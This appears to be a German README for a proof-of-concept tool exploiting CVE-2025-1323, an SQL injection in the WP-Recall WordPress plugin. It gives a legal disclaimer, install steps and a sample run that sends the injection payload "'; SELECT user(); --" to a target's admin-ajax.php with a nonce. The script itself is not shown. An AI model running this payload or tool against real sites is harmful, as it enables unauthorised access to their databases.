cve-2025-1323

SQL-Injection im WP-Recall-Plugin

⚠️ Rechtlicher Haftungsausschluss

Dieses Tool ist ausschließlich für autorisierte Sicherheitstests und zu Bildungszwecken bestimmt.
Verwenden Sie es nicht gegen Systeme ohne ausdrückliche Genehmigung. Missbrauch kann illegal sein.

✅ Voraussetzungen

• Python 3.x
• requests-Modul

Abhängigkeiten installieren:

pip install requests

python CVE-2025-1323.py

Enter target URL (e.g. https://target.com/wp-admin/admin-ajax.php): https://example.com/wp-admin/admin-ajax.php
Enter ajax_nonce value: 37c11b0c06

[*] Sending payload: '; SELECT user(); --

[+] Response received:
{"result":"SQL error or leaked data here..."}